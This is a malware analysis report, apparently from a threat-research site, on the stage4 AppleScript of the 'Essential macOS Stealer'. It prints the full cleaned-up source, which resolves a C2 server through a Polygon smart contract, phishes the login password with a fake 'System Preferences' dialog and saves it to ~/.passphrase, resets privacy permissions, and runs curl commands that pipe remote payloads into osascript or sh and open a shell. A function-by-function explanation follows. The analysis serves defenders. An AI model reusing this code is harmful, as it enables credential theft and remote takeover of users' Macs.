← Reports

InfoStealer · Dropper

Essential macOS Stealer - script.sh

Author
Moise Medici
Updated
10 Sept 2026 · Completed
Difficulty
Easy
Platform
MacOS
Capabilities
Command and Control C2 CommunicationCommand Execution via Powershell Cmd BashCredential TheftData-ExfiltrationDropping Secondary Payloads
Tags
bashAppleScriptEssential macOS Stealer

Stage4 Code Analysis

This endpoint was still working at the time of writing and returned another AppleScript file, stage4.applescript. The cleaned-up version is:

stage4.applescript
property c2URL : ""
property token : "7dc957c3cfcbf7bb79ff3b8f0f8288a9"
on getHardwareUUID()
set cmds to {
"ioreg -rd1 -c IOPlatformExpertDevice | awk -F'\"' '/IOPlatformUUID/{print $4}'",
"ioreg -rd1 -c IOPlatformExpertDevice | grep -o 'IOPlatformUUID[^,]*' | cut -d'\"' -f4",
"system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/{print $NF}'",
"system_profiler SPHardwareDataType 2>/dev/null | grep -i 'uuid' | awk '{print $NF}'"
}
repeat with cmd in cmds
try
set hwUUID to do shell script cmd
if length of hwUUID is 36 then
if hwUUID contains "-" then
return hwUUID
end if
end if
end try
end repeat
end getHardwareUUID
on getLogonName()
set cmds to { "whoami", "id -un", "echo $USER", "logname" }
repeat with cmd in cmds
try
set username to do shell script cmd
if username is not "" then return username
end try
end repeat
return "administrator"
end getLogonName
on resolveC2FromContract()
set rpcHosts to {"polygon.drpc.org", "polygon.publicnode.com", "polygon-mainnet.gateway.tatum.io", "tenderly.rpc.polygon.community"}
set rpcPayload to "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0\",\"data\":\"0x2686ecea\"},\"latest\"],\"id\":1}"
repeat with rpcHost in rpcHosts
try
set c2Host to do shell script ("
r=$(curl -s --max-time 15 https://" & rpcHost & " -X POST -H 'Content-Type: application/json' --data '" & rpcPayload & "');
h=$(echo \"$r\" | sed -n 's/.*result\":\"0x\\([^\"]*\\)\".*/\\1/p'); [ -z \"$h\" ]&& exit 1;
l=$(printf \"%d\" \"0x${h:64:64}\"); echo \"${h:128:$((l*2))}\"|xxd -r -p"
)
if c2Host is not equal "" then
set c2URLFull to "https://" & c2Host & "/"
if response is "success" then
set c2URL to c2URLFull
return true
end if
end if
end try
end repeat
return false
end resolveC2FromContract
on checkPassword(username, password)
try
set result to do shell script ("dscl . authonly " & quoted form of username & space & quoted form of password)
if result is not equal to "" then
return false
else
return true
end if
on error
return false
end try
end checkPassword
on promptForPassword(username)
set passphrasePath to POSIX path of (path to home folder) & ".passphrase"
if checkPassword(username, "") then
do shell script ("echo nopassphrase > " & quoted form of passphrasePath)
return true
else
repeat
try
set result to display dialog "To run the application you need to change the settings for its operation." & return & "Please enter password for continue:" default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
set password to text returned of result
if checkPassword(username, password) then
do shell script ("echo " & quoted form of password & " > " & quoted form of passphrasePath)
return true
end if
end try
end repeat
end if
end promptForPassword
on registerWithC2(hwUUID, username, txidArg)
set connectCmd to "curl --connect-timeout 50 --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("uuid=" & hwUUID & "&username=" & username & "&txid=" & token & "&connect")
set response to do shell script connectCmd
if response is "newconnect" then
set txidPath to POSIX path of (path to home folder) & ".txid"
do shell script ("echo " & quoted form of token & " > " & quoted form of txidPath)
do shell script "tccutil reset All"
return true
end if
if response is "connected" then return true
return false
end registerWithC2
on authenticateAndConnect(hwUUID, username)
try
set passphrasePath to POSIX path of (path to home folder) & ".passphrase"
set storedPassphrase to do shell script ("cat " & quoted form of passphrasePath)
if storedPassphrase is not "nopassphrase" then
set passphrase to storedPassphrase
else
set passphrase to ""
end if
if checkPassword(username, passphrase) then
if registerWithC2(hwUUID, username, token) then
return true
end if
else
promptForPassword(username)
return false
end if
on error
promptForPassword(username)
return false
end try
end authenticateAndConnect
set username to getLogonName()
set hwUUID to getHardwareUUID()
repeat
try
if resolveC2FromContract() then
if authenticateAndConnect(hwUUID, username, token) then
repeat
try
set taskCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("uuid=" & hwUUID & "&username=" & username & "&txid=" & token & "&task")
set taskResponse to do shell script taskCmd
if not (taskResponse contains "notasks") then
if taskResponse is "runloader" then
try
set moduleCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("txid=" & token & "&smodule") & " | osascript"
do shell script ("nohup sh -c " & quoted form of moduleCmd & " > /dev/null 2>&1 < /dev/null &")
end try
end if
if taskResponse is "runlight" then
try
set moduleCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("txid=" & token & "&lmodule") & " | osascript"
do shell script ("nohup sh -c " & quoted form of moduleCmd & " > /dev/null 2>&1 < /dev/null &")
end try
end if
if taskResponse is "replacer" then
try
set moduleCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("txid=" & token & "&ledger") & " | sh"
do shell script ("nohup sh -c " & quoted form of moduleCmd & " > /dev/null 2>&1 < /dev/null &")
end try
end if
if taskResponse is "openshell" then
try
set moduleCmd to "curl --max-time 100 --retry 3 --retry-delay 2 " & "-X POST " & quoted form of c2URL & " -d " & quoted form of ("uuid=" & hwUUID & "&username=" & username & "&txid=" & token & "&shell") & " | sh"
do shell script ("nohup sh -c " & quoted form of moduleCmd & " > /dev/null 2>&1 < /dev/null &")
end try
end if
end if
on error
delay 60
exit repeat
end try
delay 60
end repeat
end if
else
delay 60
end if
end try
end repeat

Looking at each function separately, getHardwareUUID executes two main commands: ioreg 5 and system_profiler 6.

An example output of ioreg with the parameter specified by the script is:

Terminal window
$ ioreg -rd1 -c IOPlatformExpertDevice
+-o J514sAP <class IOPlatformExpertDevice, id 0x1000002b5, registered, matched, active, busy 0 (607452 ms), retain$
{
"IOPolledInterface" = "AppleARMWatchdogTimerHibernateHandler is not serializable"
"#address-cells" = <02000000>
"AAPL,phandle" = <01000000>
"serial-number" = <1111111111111111111100000000000000000000000000000000000000000000>
"IOBusyInterest" = "IOCommand is not serializable"
"target-type" = <"J514s">
"country-of-origin" = <"CHN">
"platform-name" = <1111111111111100000000000000000000000000000000000000000000000000>
"name" = <"device-tree">
"secure-root-prefix" = <"md">
"manufacturer" = <"Apple Inc.">
"region-info" = <1111110000000000000000000000000000000000000000000000000000000000>
"target-sub-type" = <"J514sAP">
"compatible" = <"J514sAP","Mac15,6","AppleARM">
"config-number" = <000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000$
"IOPlatformSerialNumber" = "G1111GL1T1"
"regulatory-model-number" = <1111111111000000000000000000000000000000000000000000000000000000>
"time-stamp" = <"Sat Apr 18 16:23:53 PDT 2026">
"clock-frequency" = <00111e11>
"model" = <"Mac15,6">
"mlb-serial-number" = <1111111111111111111111111111111111110000000000000000000000000000>
"model-number" = <1111111111000000000000000000000000000000000000000000000000000000>
"device-tree-tag" = <"EmbeddedDeviceTrees-11156.120.31">
"IOConsoleSecurityInterest" = "IOCommand is not serializable"
"IONWInterrupts" = "IONWInterrupts"
"model-config" = <"Sunway;MoPED=0x0111111111111111111111111111111111111111">
"device_type" = <"bootrom">
"#size-cells" = <02000000>
"IOPlatformUUID" = "AAA1111A-1A11-11AA-A111-0A1A1A11AA11"
}

The awk command in the first variant and the grep command in the second extract the UUID from IOPlatformUUID. The output is then checked by the if condition below, which verifies that the value contains 36 characters and at least one -. If it does, the value is returned; otherwise, the next command is executed.

The output of system_profiler is the following:

Terminal window
$ system_profiler SPHardwareDataType
Hardware:
Hardware Overview:
Model Name: MacBook Pro
Model Identifier: Mac15,6
Model Number: MRX33B/A
Chip: Apple M3 Pro
Total Number of Cores: 11 (5 Performance and 6 Efficiency)
Memory: 18 GB
System Firmware Version: 18000.161.9
OS Loader Version: 18000.121.3
Serial Number (system): 1111111111
Hardware UUID: AAA1111A-1A11-11AA-A111-0A1A1A11AA11
Provisioning UDID: 11111111-1111111111111111
Activation Lock Status: Disabled

Notice that the UUID that the sample is looking for is the Hardware UUID.

The getLogonName function is fairly self-explanatory: it tries whoami, id, logname, or the USER environment variable to find the logged-in user’s username.

The resolveC2FromContract function is equivalent to the first part of stage3.applescript: it repeats the cURL request for each domain until one responds.

The next function, checkPassword, takes two arguments, username and password, and returns true or false to indicate whether the credentials were accepted by the dscl 7 command. Calling dscl with . -authonly <user> <pass> verifies the username and password and returns an error if they are incorrect. The script likely obtains the password later.

The promptForPassword function calls checkPassword first with only the username to determine whether the user has no password set. It then creates a fake dialog box requesting the password. The password is checked with checkPassword and, if accepted, saved in a hidden .passphrase file under the home directory.

The registerWithC2 function performs another cURL request with the UUID, username, and token defined at the beginning of the file, this time with the &connect parameter. The response is parsed; if it is newconnect, the token is saved locally in ~/.txid, and tccutil reset All is executed. tccutil 8 controls whether an app can access personal information. This command resets all previously configured permissions.

The authenticateAndConnect function ties these steps together. It calls checkPassword using the contents of ~/.passphrase; if the password is correct, it calls registerWithC2. Otherwise, it calls promptForPassword.

Everything is executed in the following order:

  1. getLogonName
  2. getHardwareUUID
  3. resolveC@FromContract
  4. authenticateAndConnect

After that, if everything succeeds, another cURL request is executed with the usual parameters plus &task, and the response is checked.

ResponsecURL parameter
notasknothing is done
runloader&smodule
runlight&lmodule
replacer&ledger
openshell&shell